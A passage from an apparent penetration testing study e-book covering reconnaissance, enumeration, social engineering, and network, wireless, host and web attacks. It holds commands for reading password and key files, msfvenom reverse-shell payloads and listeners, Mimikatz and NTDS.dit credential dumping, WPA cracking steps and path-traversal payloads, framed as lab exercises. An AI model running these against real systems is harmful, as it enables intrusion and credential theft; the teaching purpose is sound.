hypervisor such as: o Oracle Virtual Box o Hyper-V o VMWare Workstation o VMWare Fusion Guest Operating Systems • Kali Linux • Black Arch • Parrot OS • Windows 7 Pro Eval • Windows 10 Enterprise Eval • Windows Server 2016 Eval • Windows Server 2019 Eval Getting ISOs etc. isn’t always simple however you can use tools such as RUFUS: https://rufus.ie/ from the vendor sites or using this tool: https://www.heidoc.net/joomla/technology-science/microsoft/67-microsoft-windows-and-office- iso-download-tool Vulnerable Pre-Made Targets Multipliable (https://information.rapid7.com/metasploitable-download.html) OWAS-BWA (https://sourceforge.net/projects/owaspbwa/) Extras For learning OWAS JUICE SHOP (https://owasp.org/www-project-juice-shop/) DVWA (http://www.dvwa.co.uk/) • Hack the Box (https://www.hackthebox.eu/) • TryHackMe (https://tryhackme.com/) • VulnHub (https://www.vulnhub.com/) Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 19 Penetration Testing Standards and Frameworks Types of Penetration Test • Objective Based • Target Based • Compliance Based Frameworks • OSSTMM • PTES • OWASP ASV • CHECK • ISSAF • NIST Resources http://www.pentest-standard.org/index.php/Main_Page https://www.ncsc.gov.uk/information/check-penetration-testing https://owasp.org/www-project-application-security-verification-standard/ https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf https://www.isecom.org/research.html Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 20 Penetration Testing Phases Project Scoping, Project Setup, Legal & Regulatory, Scheduling, Rules of Engagement It’s not all pew pew bang bang, there is a lot to be considered, planned, agreed and scheduled. Penetration Testing Phases Post Exploitation Report Creation and Delivery Key Stakeholder and Team Playback This is (in my opinion) an undervalued activity area but also one that does not receive the attention it deserves. This part is the key element to a security assurance testing project, a lot of people consider the report to be the outcome of a pen test, and from a standard point of view that might be the case, however what I’ve know is that unless you are simply ticking a box, they key value is ensuring the recipient of the test understands not only what the findings mean tot them in terms of business risk, likelihood, confidence and impact but also how to develop remedial or mitigation strategies (this includes advising on how to avoid creation of the vulnerabilities in the first place). It’s important not only to ensure the recipients understand the findings but also ensure that additional business contextualisation occurs, not every finding will be acted upon and sometimes that for a very valid business reason (other times you may need to really outline what the potential impacts may be). Either way, communication is key! Remember the objective is to improve the security posture through identification of weaknesses. Passive Recon Active Recon Vulnerability Assessment Penetration Exploitation Post Exploitation Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 21 Pentest – Recon Our goal here is to understand as much about the target as possible both from a passive perspective and an active perspective. Tool bag • Whois • Nslookup • FOCA (https://github.com/ElevenPaths/FOCA) • Maltego (https://www.maltego.com/) • TheHarvester (https://github.com/laramies/theHarvester) • Shodan (https://www.shodan.io/) • Recon-ng (https://github.com/lanmaster53/recon-ng) You are also going to want to use several services such as: • Public facing websites • GitHub Repositories • Social Media Sites • Search Engines • News Sites/Press Releases • Job Descriptions/Job Adverts We are also going to want to use other tools such as: The Internet Archive WayBack machine: https://archive.org/web/ Recon Types and Focuses With regards to penetration testing there are 2 types of recon: 1. Passive Recon 2. Active Recon Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 22 Passive Recon During passive recon we don’t directly touch the target environment. Instead we leverage alterative data sources to enumerate information about the target organisation and scope. Search Engines Example – Google Dorking Before we hit some of the syntax there’s a cool db and loads of web resources on this topic: https://www.exploit-db.com/google-hacking-database Types • site: • filetype: • inurl: • intitle: Operators • OR • AND Example DNS We can search dns using a tool as simple as “nslookup” Other tools exist such as: • Dig (Domain Information Groper) • DNSRecon (https://tools.kali.org/information-gathering/dnsrecon) Maltego Maltego comes in a variety of shapes and sizes, Community, Classica, XL etc. Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 23 https://www.maltego.com/ Maltego is a great tool at collecting, collating, creating and visualising data using graphs for open source intelligence gathering and analysis. Spiderfoot Spiderfoot isn’t included in PenTest+ to my knowledge but it should be! There’s both an open source version of spider foot but also a hosted commercial version called Spiderfoot-HX Shodan Shodan is a search engine for systems, devices and services. https://www.shodan.io Recon-NG Recon-NG is a great tool that also integrates into a large range of tools via API keys. The Harvester Documenting Findings Once you have gathered intelligence on you target you need to filter it and ensure the data you are creating is supportive of your objectives. You are trying to find intel that helps: • User lists/Email Lists • Organisation Data • Organisation Structure • Suppliers • Remote Access Services • Physical Locations • Network and DNS information • Products and Services Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 24 Active Recon Here our systems connect to the target services. Network Scanning • Nmap • Nikto • Metasploit Nmap (Network Mapper) Nmap basic scan scans the most common TOP 1000 ports (not the first 1-1000 ports) Common scan types • Connect Scan (Full Scan) – This does a 3-way handshake • SYN Scan (Half Open) – This does the first step of the handshake sending SYN, gets a SYN- ACK and then never completes the conversation • Tracert (Conducts a traceroute) • Ping (uses ICMP protocol to echo the target) • UDP Scan (super-fast UDP scan =”nmap -sU --defeat-icmp-ratelimit” required nmap 7.4) • NULL Scan (TCP Packets with no FLAGS set) • FIN Scan A common scan people use: nmap -vvv -O -sV -sC -sS -T4 -oA results 192.168.1.1 This scan will be verbose (x3), will detect operating system version (-O), Service Vesions (-sV) Scanning ranges Nmap {Scan Options} 192.168.1.0/25 -sn = ping sweep -PR = arp scan -PA = Non existent TCP Connections XMAS Tree Scan -sX OS Identification Through TTL Different OS’s respond to ICMP echo with different TTLS https://subinsb.com/default-device-ttl-values/ There’s load there but you just need to know the common ones like: • Common Windows Versions • Linux Versions OS TTL Linux/Unix 64 Windos 128 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 25 Solaris/AIX 254 Packet Crafting Creation of bespoke packets (hping, hping3 etc.) • Create • Edit • Play • Decode Network Mapping Tools • ZenMAP • SpiceWorks • WhatsUPGOld • TheDUDE • Nagios • SolarWinds Mapping the Network with Metasploit • Metasploit Framework • Community • Express • Pro Now using Metasploit is fairly simple but it’s far too in depth for here! Armitage Included with KALI but no longer in development Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 26 Cobalt Strike A commercial offering created by the author of Armitage Other C2 Servers • Empire • Coventant Enumerations Basics Banner Grabbing We can grab banners using tools such as telnet, nc, nmap etc. To enumerate a banner with nmap we use -sV We can also enumerate banners and service information manually using tools like telnet, netcat/nc etc. Telnet SMB SMTP • SMTP Port is 25 • Encrypted SMTP uses port 587 • VRFY is used to check a mailbox • EXPN is used to check a group FTP FTP Attacks include BOUNCE. A BOUNCE attack uses one FTP server to MiTM another FTP Server. On box enumerations Using tools interactively / from an authenticated point of view such as: Netstat (Windows and Unix Based Systems) Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 27 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 28 Basic Local Windows Enumeration Command Execution (using cmd.exe shell) Dir Cd hostname Whoami Whoami /privs echo %path% Ipconfig /all Route print Arp -a Net use Systeminfo Net Start Net users Net localgroup Net user administrator Net localgroup administrators Net localgroup ‘remote management users’ Net localgroup ‘remote desktop users’ Net localgroup ‘Backup Operators’ Net localgroup administrators netstat -ano netsh firewall show state schtasks /query /fo LIST /v tasklist /SVC Driverquery wmic qfe get Caption,Description,HotFixID,InstalledOn reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated dir /s pass == cred == vnc == .config ==.txt findstr /si password .xml .ini .txt .config .xlsx .docx reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s wmic process list brief \| find "winlogon" wmic service get name,displayname,pathname,startmode \|findstr /i "auto" \|findstr /i /v "c:\windows\\" \|findstr /i /v """ Clearing Up Output (cmd.exe) \| #pipe output > #output to file (overwrite) >> #output to file (append) \| findstr #find a string in the output PowerShell (using PowerShell) Get-Command #show all commands Get-LocalGroup Get-LocalGroupMember administrators Get-ChildItem -Path c:\ -Include .docx,.doc,.xlsx,.xls,.config,.ini -file -recurse -erroraction silentlycontinue \| select-string password Get-Hotfix Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 29 Basic Linux Enumeration There are a ton of tools you can use from Enum4Linux, the Metasploit modules, smbclient, ftp, grep.. honestly there’s a lot so lets’ look at some common tools: • Enum4Linux • Impacket • Metasploit • Nmap (we won’t cover that again) Enum4Linux -a -u administrator -p Pa55w0rd1 192.168.1.1 Metasploit There are hundreds of moudles Using Metasploit to hunt for SMB shares on a range (change the CIDR range on RHOSTS to suit) msfconsole search smb_enumshares use auxiliary/scanner/smb/smb_enumshares info options set RHOSTS 192.168.1.0/24 run Cool msf commands setg #setglobal – makes the option stick between modules e.g. setg LHOST 192.168.1.10 set verbose true # enables verbose output #RUN A LISTENER from the CLI on one line msfconsole -x "use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 0.0.0.0;set ExitOnSession False;run" Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 30 On Box Enumeration (Linux) BASH (Basic Enumeration) whoami whoami ifconfig ip a arp uname -a route netstat -antp netstat -anup mount df -a dpkg -l ps ps aux ps aux \| grep root ps -ef \| grep root ps -ef cat /etc/services cat /etc/passwd cat /etc/shadow apache2 -v mysql --version cat /etc/groups cat /etc/resolv.conf nmap –version find / -name nc 2>/dev/null crontab -l grep -i password /etc/my.ini cat /etc/sudoers cat ~/.bash_history cat ~/.ssh/id_rsa find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null METASPLOIT (Basic Enumeration) Modules Post Modules require a SESSION to be established: linux_enum_system linux_enum_cofigs linux_enum_network linux_protections linux_enum_user_history Local Shell Test The following test just let’s you connect to youself on your loopback address on TCP port 9999 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 31 Metasploit Console use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_tcp set LPORT 9999 set LHOST 0.0.0.0 set ExitOnSession FALSE run -j Local Linux Machine (x64 Architecture) #Create a Payload msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f elf > shell.elf #set as executeable chmod +x shell.elf #run the payload ./shell.elf You should see a local connection Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 32 We are now in a position where we can run POST modules: use post/linux/gather/enum_system set SESSION 2 #change the ID to match your session number – check sessions -l run NULL SESSIONS SMB Prior to Server 2003 on Windows machines but also older versions of SAMBA also have this vulnerability. To enumerate this, we can simply use: Net use \\target\ipc$ /U: "" "" Net view \\target Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 33 WebServer Enumeration HTTP Response codes • HTTP 401 • HTTP 403 • HTTP 404 • HTTP 200 • HTTP 402 These can be enumerated using a browser and developers’ mode, a web proxy tool like BURP, FIDDLER or OWAS ZAP or using tools like nmap etc. nmap --script=http-enum 192.168.1.1 nmap --script=http-php-version 192.168.1.1 nmap --script=http-wordpress-enum 192.168.1.1 Vulnerability Scanning Tools • OpenVAS • Nessus • Qualys • Rapid7 Nexpose I’d recommend downloading evals/trials and checking these out. Scripting Common Scripting/Programming Languages Generally Interpreted • Bash (tied to OS:NIX) • Batch (Tied to OS DOS/WINDOWS) • PowerShell • Python o Python2 o Python3 • Perl • Ruby • PHP • VBScript • VBA • Javascript Compiled • C • C++ • C#.net • .net • Visual Basic • GoLang • Java Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 34 Penetration Testing Documentation Tools • CVSS Calculators • CWE • DRADIS Community • DRADIS Pro • AttackForge Report/Note Taking Tools There are literally tons of tools that can be used for note taking and report writing, some of these include: • Microsoft Word (I wrote this e-book in MS WORD, I write my reports in WORD too) • Microsoft OneNote • CherryTree • EverNote • Notion Diagramming Tools • Microsoft Visio (Windows) • https://draw.io • Smart Draw (OS X) • OmniGraffle (OS X) • Archimate Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 35 Social Engineering & Non ‘Technical’ Attacks • Non-Technical Attacks • Dumpster Diving RFID Duplicators • Keysys • PROXMOX Techniques • Social Engineering o Target Eval o Pretext/Pretexting (back story and context) o Psychological Manipulation o Building Relationships o Motivations ▪ Authority ▪ Scarcity ▪ Urgency ▪ Social Proof ▪ Likeness ▪ Fear o Impacts • USB Drop o In a test by a university a USB drop showed the following stats: ▪ 297 Drives Dropped ▪ 45% Phoned Home o Build by loading a USB drive using: ▪ Autorun.inf ▪ Embedded malware in documents, binary etc. ▪ Use a HID attack (see Rubber Ducky) o Make them attractive ▪ Use themed drives ▪ Add logos ▪ Add labels ▪ Add keys o Think about there they are placed o Task: Place a malicious Binary on a USB drive: ▪ Example: use msfvenom to create a payload ▪ Demo this connecting to a listener • Physical Attacks • RFID Attacks • Phishing o Phishing Types Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 36 ▪ Email (Phishing) ▪ SMS (SMISHING) ▪ Phone (Vishing) ▪ Social Media ▪ Pharming ▪ Spear Phishing/Whaling/Gaming/Live Chat ▪ Physical Phishing o Social Engineering Toolkit (SET) o Evilginx o GoPhish • Lockpicking • Motion Sensors • Alarms Phishing Task Task: Use Social Engineering Toolkit to demo a PISHING attempt using the credential harvester method to clone a site. Send a phishing email to yourself on a sperate account using a public email service like outlook.com or google mail. Physical Attacks Physical Controls • Conduct Recon • Dumpster Dive • Visit the target • Photograph the Target • Deliver an implant • Steal a Device • Steal badges/ID • Fences • Gates • Tailgating • Lockpicking • Look for ways to bypass controls Door Access Controls • Compressed Air/Vapes/Paper to bypass motion sensory or magnetic locks • Reach Around/Under • Lockpicks Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 37 Enumeration, Vulnerability Identification Picking a vulnerability scanning • Opens Source vs Commercial • On Premises vs Cloud • Documentation and Outputs Tooling • Golismero • Sparta • OPENVAS • Kali o Nmap o Nikto • Nessus • Qualys • Rapid7 Nexpose Picking a vulnerability scanning Tool Open source vs Commercial • Pick one to suit your business requirements • Consider features • Look at false positive rates • Look at reporting and output formats etc. • Scope of features Cloud vs On Premises • Pick solutions to fit your requirements • Do you need to test air gapped networks? • Ensure plugins are up to date Interpreting Output Asset Categorisation • The act of grouping assets o Organization/Defender View o “Pentester” View Adjudication The act of going through and evaluating the threat those pose to the target organisation. False Positives When a service is incorrectly identified as being vulnerable when it is in fact, not vulnerable. Common Themes Conditions that re-occur all the time such as: • Behaviour Patterns • Naming standard patterns Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 38 • Policies being ignored • Weak physical security • Inadequate Training • Weak security configurations • Poor Software development practises • Insecure network protocols (e.g. TELNET, FTP) • Obsolete cryptography Prioritization Ranking vulnerabilities in terms of priority for exploitation/impact and/or remediation. Mapping & Prioritisation • Mapping customer assets and relationships • Mapping processes, people, activities etc. • Consider times of events, activities etc. Creating a ‘picture’ of the attack surface landscape. Attack Techniques • Denial of Service Attack • Hijacking • Man-in-The-Middle • Credential reuse • Password Attacks • Social Engineering • Injection Techniques • Social Engineering • Planting a Device/Implant • Remote Access • Wireless Attacks • Conspiring with an internal threat actor Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 39 Exploits & Payloads Exploit An exploit is the action/mechanisms to exploit a vulnerability (e.g. Unauthenticated RCE, Path Traversal, Code Injection) Payload A payload is the code that will run on the target e.g. • Meterpreter Staged vs Upstaged Payloads A staged payload is small payload which downloads the full payload. An untagged payload simply runs following the exploit. Cross Compiling Code Exploit Modification • Debugging • Shell Code creation Exploit Chaining The act of chaining multiple exploits together. Proof of Concepts An exploit that is created to highlight and validate a vulnerability and exploit chain. Deception Tactics • Creating a distraction o Social Engineering o Other Attacks o Distracting event Password Attacks • Brute Force • Wordlists • Hybrid • Rainbow Tables Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 40 Network Penetration Testing Attacks Ethernet & TCP/IP Networks • Sniffing o Network cards including Wireless cards must be in promiscuous mode o TPC, IP, ARP, ICMP, IGMP, LDAP, SNMP, SMTP, SMB, FTP DNS DHCP, POP3, IMAP, UDP, and HTTP can all be sniffed (any cleartext protocol) • Eavesdropping • ARP Poisoning o The act or sending our AC address out identifying as the default gateway to route traffic through our host ▪ IP forwarding ▪ DNS Poisoning ▪ Ettercap • TCP Session Hijacking o The user/machine must have authenticated before o Requires a clear text protocol (e.g. TELNET/RLOGIN) o Increasing TCP sequence numbers must be detected and guest (they are pseudo random) o Signing is not in use (e.g. SMB singing is not ENABLED) o ARP Poison o Send FIN packets to the target to disconnect the client o Requires you to spoof IP and MA o Tools include: ▪ Tsight ▪ Juggernaut ▪ Hunt • Browser Hijacking o Cookie Sniffing (ARP Poison and HTTP session theft o Session Fixation (Cookie is assigned before authentication) o Failure to timeout the cookie of destroy the session o Predictable sessions token o Cross Site Scripting (XSS) o Session Variable Overloading • Man-in-the-middle (MiTM) Attacks • Brute force Attacks o Brute Force o Dictionary o Tools ▪ Aircrack-ng ▪ THC-Hyrda ▪ Medusa ▪ Patator ▪ John-The-Ripper Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 41 ▪ Cain and Abel ▪ Hashcat ▪ L0phtcrack ▪ 0phtcrack ▪ Metasploit • Denial of Service and Load Testing o Deny Service o Fail Open • Pass-The-Hash o Requires us to get a copy of the NTLM/NTLMv2 HASH (not netNTLM) • VLAN Hopping o MAC Table Overflow o Trunk Ports ▪ Switch ▪ Client Side o Tools ▪ Frogger Network Protocol Exploits SMB Has been exploited for a long time! • MS06-087 • EternalBlue (MS17-010) • Eternal Romance • Eternal Champion • Eternal Synergy SNMP • Community String Defaults (v1 & v2) o Public o Private • Tools o Hydra o Medusa o nmap o BOF o Metasploit FTP • Tools o Hydra o Medusa o Nmap DNS • DNS Cache Poisoning o Tools Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 42 ▪ Ettercap ▪ Metasploit ▪ DNSChef ▪ ArpPwner Name Resolution • NETBIOS • WINS • HOST Files • LLMNR Poisoning o Tools ▪ Responder • Name Resolution Process (https://support.microsoft.com/en-gb/help/172218/microsoft- tcp-ip-host-name-resolution-order) o check hostname o check hosts file o checks DNS o sends NETBIOS broadcast Wireless Networks Tools • Aircrack-ng • WIFI Pumpkin • Wifi Pineapple Attacks and Techniques • Wireless Sniffing • WAP • Replay • WEP • Fragmentation o PRGA Attack • Jamming o Check the legality of running this attack o De-Auth o Tools ▪ Wifi Jammer Python Script ▪ Aircrack-ng ▪ Wireless Pineapple • Tools o Aircrack-ng • Evil Twins o Creation of an attacker owned network with the same SSID as the target environment o To detect use Wigle, Kismet, Airmon-ng etc. ▪ Tools • Wifi Pineapple Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 43 • WPS Attacks o WPS uses 7 characters o It only checks the first 4 digits before checking the last 3 o The time to crack is very small • Bluetooth o Bluejacking Attacks (around 30 feet range) ▪ Transmit images, messages, videos etc. ▪ Send contacts with spoofed contact names (the target sees the spoofed name as a message) ▪ Can be used in connection with phishing/cred harvesting etc. o BlueSnarfing ▪ Gather data ▪ OBEX Push Profile (OPP) ▪ OBEX GET ▪ Get files such as contacts etc. o Lab Activities • WAP Replay Attack • WPA2 Cracking • IRL: Bettercap Replay Steps airmon-ng check kill #enable monitor mode (promiscuous) airmon-ng start wlan0 airodump-ng wlan0mon #Find a WPA network to replay airodump-ng –bssid BSSIDMAC -c 6 –write output wlan0mon #start the replay attack by authenticating (-1 = fake authentication) aireplay-ng -1 0 -a BSSIDMAC -e SSIDName wlan0mon #send ARP requests (type3) aireplay-ng -3 -b BSSIDMAC wlan0mon aireplay-ng -1 0 -a BSSIDMAC -e SSIDName wlan0mon # this attack takes some time and requires other clients #now we crack the hashes aircrack-ng -b BSSIDMAC output-01.cap Fragmentation Attacks airmon-ng check kill aireplay-ng -5 -b BSSIDMAC -e SSIDName -h SOURCEMAC wlan0 –write output packetforce-ng -0 -a BSSIDMAC -h SOURCEMAC -y output-01.cap -w prgaOutput aireplay-ng -r prgaOutput wlan0 Aircrack-ng #enable monitor mode airmon-ng #enumerate #kill network management services airmon-ng check kill Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 44 #enable monitor mode airmon-ng start wlan0 #monitor airodump-ng wlan0mon #run with output saved (csv, pcap etc.) airodump-ng wlan0mon -w pwnWIFI #RUN Airodump Scan Visualizer - https://github.com/pentesteracademy/airodump-scan-visualizer #Load the CSV Specialist Systems Mobile Systems • Android • IOS Industrial Control Systems (ICS) and SCADA (supervisory control and data acquisition) ICS • Control Physical Devices • Tools o ICSExploit SCADA Supervisory control and data acquisition • SCADA Manages ICS Embedded Systems • Industrial Systems Real -Time OS’s (RTOS) Often does not include security features. Internet of Things (IoT) Mirai botnet created from DVRs and Baby Monitors etc. • Buffer Overflows • Command Injection • SQL injection • Syn Floods etc. Point of Sale Systems • Tablets • Custom Devices • Payments taken (so PCI-DSS may be in scope) • Some powered by PIs etc. Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 45 Host based Exploitation Exploiting hosts includes systems which include: • Windows • UNIX/LINUX (NIX) • MAC OSD (BSD Based) • Android • IOS Linux Package Managers • Apt (Debian/Unbuntu) - Advanced Packaging Tool • Aptitude Package Manager (Debian/Ubuntu) (this is different to apt in that it’s a GUI) • Dpkg (Debian/Ubuntu) • yum (CENTOS) -Yellowdog Updater, Modified • yast (SUSE) • RPM (REDHAT LINUX) - Redhat package manager) • Pacman (Arch Linux) Windows Systems and Vulnerabilities • Windows is written in a language based on C (this has no bounds checking which can lead to vulnerabilities) • Requires developers to code securely • Closed Source (Source code is private) • Windows 10 is > 50 million lines of code • Reliant on Vendor for Patching (however 3rdn party micro patching is a thing) Types of Vulnerability • Remote Code Execution • Buffer/Overflow • Denial of Service (DoS) • Memory Corruption • Privilege Escalation • Information Disclosure • Security Feature Bypasses (e.g. UAC Bypass) Web Application Vulnerabilities • Cross Site Scripting (XSS) • Directory Traversal • XSRF (Cross site request forgery) Go and see the OWASP top 10 https://owasp.org/www-project-top-ten/ Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 46 Common Windows Exploit Examples These are old vulnerabilities which might be useful for the exam, but it’s also good to know the history of common vulnerabilities: • IIS 5.0 Unicode • IIS 5.0 WebDAV • RPC DCOM (MS08-067) Buffer Overflow RCE using RPC • SMB NetAPI • Null sessions • LM password hash weaknesses More modern examples • MS17-010 (Eternal Blue etc.) • CVE-2018-8120 (https://www.rapid7.com/db/modules/exploit/windows/local/ms18_8120_win32k_prive sc) • RDP Brute Force • ALPC Task scheduler Privilege Escalation (Cve-2019-0841) • Extraction of GPP Passwords • Extraction of passwords from unattended installation files Dumping Hashes & Password Cracking • Hashes (stored in SAM database) • SYSKEY (Stored in the registry) • Active Directory Passwords o Stored in NTDS.DIT ▪ MD4 (NT hash) ▪ LM ▪ DES_CBC_MD5 ▪ AES256_CTS_HMAC_SHA1 ▪ MD5 (WDIGEST) ▪ Reversable Encrypted Clear Text Password • Certificates • Kerberos Tickets • LSA Secrets Techniques • Steal creds from files (e.g. GPP, SYSPREP) • Dump creds form running processes • Dump processes from memory (Hibernation files, VM memory files) • Dump creds from SAM • Dump creds from registry • Dump from NTDS.dit • Domain Controller Replication (Mimikatz/Impacket) • Keylogging • Social Engineering Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 47 Windows Credential Dumping Dump the SAM Registry export Reg save hklm\sam samreg.hiv Reg sve hklm\security securityreg.hiv #read these using mimikatz Mimikatz.exe lsadump::sam samreg.hiv securityreg.hiv Think about running mimikatz on an attacker owned system to avoid dropping to disk or being detected/having to disable antivirus Dumping Passwords Live (run as admin) Dump LogonPasswords Mimikatz.exe #enable debug privs Priviledge::debug #log to a file Log mimilog.log #dump logon passwords/hashes sekurlsa::logonpasswords Dump SAM File Kerberos Tickets Mimikatz.exe #enable debug privs Priviledge::debug #log to a file Log mimilog.log #dump logon passwords/hashes token::elevate lsadump::sam samreg.hiv securityreg.hiv Dumping NTDS.DIT Note: Here we need to create a COPY of ntds.dit (using shadowcopy, NTDS util or NinjaCopy etc. or you can take this from a backup) https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 #Copy the NTDS file and SYSTEM files from the target #example of NTDSutil ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q #Extract hashes using PowerSploit Get-ADDBAccount -All -DBPath ‘ntds.dit’ -BootKey SYSTEM #Extract using Impacket impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 48 Common nix Vulnerabilities • Based on C • Open Source but development is inconsistent • Linux and Android allow sideloading • Common Vulnerabilities o POODLE o Heartbleed o XSS/XSRF o SQL Injection o SMB Overflows o Enumeration LINUX • GNU is an operating system • Linux is a KERNEL (A component of the OS) Common Exploits https://www.exploit-db.com/ • RET2LIBC • DirtyCow (Copy on Write) • Five Year Bug (2009) • Remote Root Flaw • Insecure SUDO configuration • Insecure SUDO binaries • Sticky bits • SUID BIT set Password Cracking for LINUX Credentials are stored • /etc/passwd • /etc/shadow On older linux distros they were just stored in cleat text in /etc/passwd • Tools: Unshadow can be used • Meterpreter: hashdump • Mimipenguin (memory dump) • Password Hashes can be passed as well e.g. SAMBA • Key Logging Password Hash Types (NIX) $1 = MD5 $2a = Blowfish Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 49 $5 = SHAR-256 $6 = SHAR-512 Protocol Exploitation Windows • Unnecessary Services o IIS in Windows 2000 • SMB 1.0 (Changed in Windows 10 Anniversary Build and greater) • Domain Account Password Caching o 10 Domain Logins Cached o Default accounts ▪ Administrator (SID starting “S-1-5-21” and ending “-500”) ▪ Guest (SID starting “S-1-5-21” and ending “-501”) • Weak Default Security Logging NIX • User home permissions • World-readable and writeable directories/files • Insecure mount/export options • Service with weak default settings • Apps with weak default settings Protocols and Services Windows • Supports multiple protocols and configurations • Provides Software for most services (from Microsoft) Linux • Supports multiple protocols and configurations • Depends on 3rd parties LAB Activity Windows • Install windows roles and features o Install IIS o Install NFS Linux • Install Apache2 • Install Terminator Exploitation Windows 7 • Exploit MS17-010 in the lab using Metasploit • Exploit MS17-010 in the lab using python exploit Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 50 File Permissions and Exploitations Windows • File Permissions (ACLS) • Share Permissions • Alternate Data Steams (ADS) o Files have two steams ▪ Data ▪ Resource (You can hide data in ADS e.g. you could hide a binary inside a txt file) • Unquoted Service Path Privilege Escalation o Metasploit o PowerSploit • DLL Hijacking • NTFS Encryption Bypass • SAM/SYSKEY offline attakcs • EFS o Copying EFS to a network share will decrypt them • Bitlocker Exploits Linux • Insecure Permissions • Sticky BIT • SUID BIT • GUID BIT • Symbolic Link/Broken Symbolic Link Exploitation • Secure Shell Escapes Linux Sensitive Files • /etc/profile • /etc/hosts • /etc/resolv.conf • /etc/pam.d • ~/.bash_profile • ~/.bash_login • ~/.profile • /home Resources https://gtfobins.github.io/ Kernel Vulnerabilities and Exploits • Privilege Escalation • DoS Memory Vulnerabilities • RCE Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 51 • DoS • Common Vulns o Use-After-Free o Buffer Overflow Default Accounts Windows • Administrator • Guest • KRBTGT • DefaultAccount • WDAGUtility • Defaultuser() Linux (nix) /etc/passwd • root • adm • nobody • sshd • lp • uucp Sandboxes Windows • Guest • Low Priv Users (e.g. IIS_USR) • Virtual Machines • Browser Sandboxes • Adobe Flash Sandbox • Containers o Docker o Hyper-V Containers • Mobile Apps • PDF and Documents • Antivirus Quarantine Features • Defender SmartScreen • Mail Program Sandboxes Escape Techniques • Sleeps • Large Files • Polymorphic Malware • Rootkits/bootkits • Encryption Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 52 • Logic Bombs • Archive Tools • Binary Packers • Network Fast Flux (Rotating IPs or jumping hosts) • Sandbox Detection/Evasion MAC OS & IOS OS X is based on BSD (unix) https://www.cvedetails.com/product/156/Apple-Mac-Os-X.html?vendor_id=49 • IOMobileFrameBuffer (IOS) High Sierra o Root access with NO password • Mactans o USB attack • Jailbreaking IOS o Keyraider • Thunderstrike o Thunderbolt bootkit (OS 10 firmware device) • iCloud API vulnerabilities • MaControl Backdoor (OS X) • Graphic Driver Vulnerability (IOS) Android • Theft • Lack of Encryption • Side-Loading Aps • Root devices • Weak or No Passwords • Biometric Bypass • SQLLite Injection • Excessive App Permissions • Insure application communications • No or disabled security tools e.g. Antivirus • Missing Patches/Out of Date Software • QuadRooter o Qualcom Chipset Vulnerability • Certifi-Gate mRST flaw o Allows sideloading (<Lolipop (5.1)) • Stagefright MMS Privesc and RCE (<Lolipop (5.1)) • Installer hijacking • TowelRoot (<Kitkat (4.4)) • Cross-platform protocol vulnerabilities o DirtyCow o POODLE Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 53 Physical Attacks • Unencrypted Storage • Cold Boot Attacks o Recover keys from RAM • Insecure Serial Console (with no authentication) • JTAG Access/Debugging Common Cracking Tools • Hashcat o Windows o Linux • John The Ripper (John) Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 54 Attacking Applications and Web Applications Common Protocols & Languages • HTTP • HTTPS • HTML • Javascript • SQL Databases • Frameworks o Node.js o Angular o Django • Python • ASP/ASP.NET • PHP Common Web Application Vulnerabilities • Weak security configurations (misconfigurations) • INJECTION • Broken Authentication • XSS • CSRF • Clickjacking • File inclusion • Weak coding practises Common Misconfigurations • Rolling your own encryption • Legacy content • Debugging Modes Enabled • Unpatched Vulnerabilities/Using software with known vulnerabilities • Client-side processing • Default admin accounts • Insecure cookies • Directory Traversal o Read or execute o E.g. ../../../etc/passwd o E.g. %2E%2E%2F/Windows/System32/cmd.exe o Double Encoding ▪ %25 = % • %25E%25E%25FWindows/System32/cmd.exe • 